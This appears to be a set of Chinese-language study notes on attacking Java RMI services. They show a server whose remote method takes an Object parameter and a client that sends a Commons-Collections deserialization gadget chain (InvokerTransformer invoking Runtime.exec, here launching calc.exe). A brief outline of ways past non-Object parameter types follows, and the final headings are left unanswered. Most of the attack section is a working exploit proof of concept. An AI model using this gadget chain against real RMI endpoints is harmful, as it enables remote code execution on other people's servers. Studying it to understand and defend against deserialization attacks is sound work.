Object参数Attack
Server提供的远程对象方法中存在一个Object参数. 如:
public class userImpl extends UnicastRemoteObject implements userInterface {
protected userImpl() throws RemoteException {
super();
System.out.println("userImpl Constructor called!");
}
@Override
public String hello(Object obj) throws RemoteException {
return "this is user hello";
}
}
这样在调用的时候直接传一个反序列化的利用链即可.
public class client {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1099);
userInterface user = (userInterface) registry.lookup("user");
System.out.println(user.hello(getpayload()));
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
}
}
直接使用Object类型参数的非常少, 怎么办?
- 肯定存在参数为某个对象的情况的, 且这个对象类一定实现了序列化接口
- 从这个类开始挖掘可以利用的反序列化链(已知RMI接口)
- 非Object类型参数也可以打,参考 https://xz.aliyun.com/t/7930#toc-7
绕过Object类型参数
大致原理: 非基本类型参数数据传递也是通过序列化来实现, Client是完全可控的, 因此对任何非基本类型的参数, 我们都可以把它替换为恶意类对象.
包括哪些基本类型? 下面的这些,if条件里面的.
非基本数据类型?
- String
- Integer
- int[]
- …
攻击实现手段?
实际利用?
扩展了已知接口攻击的思路. 完全未知的接口仍然无法攻击.